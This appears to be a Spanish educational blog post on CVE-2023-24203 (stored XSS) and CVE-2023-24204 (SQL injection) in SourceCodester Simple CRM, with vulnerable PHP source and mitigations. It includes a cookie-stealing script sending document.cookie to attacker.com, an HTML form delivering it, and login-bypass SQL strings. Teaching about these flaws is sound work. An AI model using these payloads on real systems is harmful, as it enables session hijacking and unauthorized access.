
Análisis educativo de CVE-2023-24203 (XSS almacenado) y CVE-2023-24204 (Inyección SQL) en SourceCodester CRM, con pasos de explotación y estrategias de mitigación.
En el panorama en constante evolución de la ciberseguridad, las aplicaciones web siguen siendo un objetivo principal para los atacantes que buscan explotar vulnerabilidades. Recientemente, se descubrieron dos vulnerabilidades críticas en el Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0: CVE-2023-24203 y CVE-2023-24204. Estas vulnerabilidades, que implican Cross-Site Scripting (XSS) e inyección SQL, plantean riesgos significativos, incluida la ejecución arbitraria de código y el acceso no autorizado. Comprender estas vulnerabilidades y sus impactos es esencial para que los desarrolladores y profesionales de la seguridad protejan los sistemas frente a posibles amenazas.
Cross-Site Scripting (XSS) es un tipo de vulnerabilidad que se produce cuando una aplicación web permite a los usuarios inyectar scripts maliciosos en páginas web vistas por otros usuarios. Esto puede dar lugar a acciones no autorizadas en nombre del usuario, robo de datos y una mayor explotación. Las vulnerabilidades XSS se pueden clasificar en tres tipos principales:
La inyección SQL es un tipo de vulnerabilidad que se produce cuando un atacante puede manipular consultas SQL inyectando código SQL arbitrario en una consulta. Esto puede dar lugar a acceso no autorizado, robo de datos y otras actividades maliciosas. La inyección SQL suele ocurrir debido a una validación de entrada insuficiente y a la falta de consultas parametrizadas. Los impactos clave de la inyección SQL incluyen:
En esta entrada de blog, profundizaremos en CVE-2023-24203 y CVE-2023-24204, explorando los detalles de estas vulnerabilidades, sus vectores de ataque, impactos y estrategias de mitigación. Comprender estas vulnerabilidades en profundidad es crucial para proteger sus aplicaciones y datos de posibles explotaciones.
Las vulnerabilidades de inyección SQL suelen ser el resultado de una validación de entrada inadecuada y malas prácticas de codificación. Algunas causas comunes incluyen:
Las vulnerabilidades de Cross-Site Scripting (XSS) suelen deberse a la falta de manejo adecuado de la entrada y salida de los usuarios. Las causas comunes incluyen:
CVE-2023-24203 es una vulnerabilidad de Cross-Site Scripting (XSS) almacenado encontrada en el componente get-quote.php del Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0. Esta vulnerabilidad permite a un atacante inyectar scripts maliciosos en los parámetros company y query, que luego se almacenan en la base de datos y se ejecutan cuando un administrador los visualiza, lo que lleva a la ejecución arbitraria de código.
La vulnerabilidad reside en el script get-quote.php, que procesa la entrada del usuario de un formulario de solicitud de cotización. El código fuente PHP se muestra a continuación:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
El script toma las entradas del usuario del formulario (nombre, correo electrónico, contacto, empresa, servicios, otros y consulta) y las incorpora directamente a una consulta SQL para almacenar los datos en la base de datos. Mientras que la entrada de servicios se sanitiza con mysqli_real_escape_string y addslashes, los parámetros company y query no se sanitizan ni codifican adecuadamente cuando se devuelven en la respuesta. Esta falta de sanitización y codificación adecuadas permite la inyección y el almacenamiento de scripts maliciosos en la base de datos.
Para explotar esta vulnerabilidad, un atacante puede crear un payload que incluya código JavaScript malicioso en el parámetro company o query. Cuando el administrador visualice la solicitud de cotización, el script inyectado se ejecutará en su navegador.
Al enviar el siguiente payload en el parámetro query:
<script>alert('XSS');</script>
El atacante puede desencadenar un ataque XSS cuando el administrador visualiza la solicitud de cotización.
Se puede crear un payload más dañino para robar las cookies de sesión del administrador. Al usar el siguiente payload en el parámetro query:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
El atacante puede enviar las cookies del administrador a un servidor remoto controlado por él.
Enviar solicitud de cotización maliciosa: El atacante completa el formulario de solicitud de cotización, inyectando el payload malicioso en el campo company o query.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
El administrador visualiza la solicitud: Cuando el administrador inicia sesión en el sistema CRM y visualiza la cotización enviada, el script malicioso se ejecuta en su navegador, enviando sus cookies de sesión al servidor del atacante.
La explotación exitosa de esta vulnerabilidad de XSS almacenado permite a un atacante ejecutar JavaScript arbitrario en el contexto del navegador del administrador. Esto puede dar lugar a varias acciones maliciosas, incluyendo:
Robo de cookies de sesión Secuestro de sesiones de usuario Realización de acciones no autorizadas en nombre del administrador Redireccionamiento del administrador a sitios web maliciosos
Para mitigar esta vulnerabilidad, es esencial sanitizar y codificar todas las entradas de los usuarios antes de incorporarlas a la página web. Específicamente:
Sanitizar entradas: Utilice funciones como htmlspecialchars() para codificar caracteres especiales en las entradas de los usuarios.
Validar entradas: Implemente una validación estricta de entradas para asegurar que solo se acepten los datos esperados.
Política de Seguridad de Contenido (CSP): Utilice cabeceras CSP para restringir las fuentes desde las que se pueden cargar y ejecutar scripts.
CVE-2023-24204 es una vulnerabilidad de inyección SQL encontrada en los componentes get-quote.php y login.php del Sistema Simple de Gestión de Relaciones con el Cliente (CRM) de SourceCodester v1.0. Esta vulnerabilidad permite a un atacante inyectar comandos SQL arbitrarios en la base de datos, lo que potencialmente puede conducir a un acceso no autorizado y a la manipulación de datos.
La vulnerabilidad de inyección SQL está presente tanto en los scripts get-quote.php como admin/login.php. A continuación se presenta un análisis de cómo se manifiestan y pueden explotarse estas vulnerabilidades.
El script get-quote.php procesa la entrada del usuario de un formulario de solicitud de cotización. El código fuente se muestra a continuación:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
Y echemos también un vistazo a la lógica del código fuente de login.php.
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
El script get-quote.php no sanitiza adecuadamente el parámetro name. Un atacante puede interceptar la solicitud utilizando una herramienta como Burp Suite, modificar el parámetro name e inyectar comandos SQL maliciosos.
El script login.php es vulnerable a la omisión de autenticación debido a la falta de validación adecuada de las entradas en los campos email y password. Un atacante puede usar un payload como hack' or 1=1;# para eludir la autenticación y obtener acceso.
' OR '1'='1';--
Enviar la solicitud modificada: Envíe la solicitud modificada al servidor. El comando SQL inyectado será ejecutado por la base de datos.
Explotando login.php
Ir a la página de inicio de sesión: Vaya a la página login.php.
Introducir payload malicioso: Utilice un payload como hack' or 1=1;# en el campo email y cualquier cadena en el campo password.
La explotación exitosa de estas vulnerabilidades de inyección SQL puede dar lugar a varias acciones maliciosas, incluyendo:
Acceso no autorizado: Los atacantes pueden obtener acceso administrativo al sistema. Robo de datos: Los atacantes pueden exfiltrar información confidencial de la base de datos. Manipulación de datos: Los atacantes pueden alterar, insertar o eliminar datos dentro de la base de datos. Mitigación Para mitigar estas vulnerabilidades, es esencial implementar una validación de entrada adecuada y utilizar consultas parametrizadas. Específicamente:
Usar sentencias preparadas: Implemente consultas parametrizadas para prevenir la inyección SQL. Validar entradas: Aplique una validación estricta de entradas para asegurar que solo se acepten los datos esperados. Escapar entradas: Escape adecuadamente todas las entradas de los usuarios antes de usarlas en consultas SQL.
Al seguir estas mejores prácticas, puede reducir significativamente el riesgo de ataques de inyección SQL y proteger su aplicación web de una posible explotación.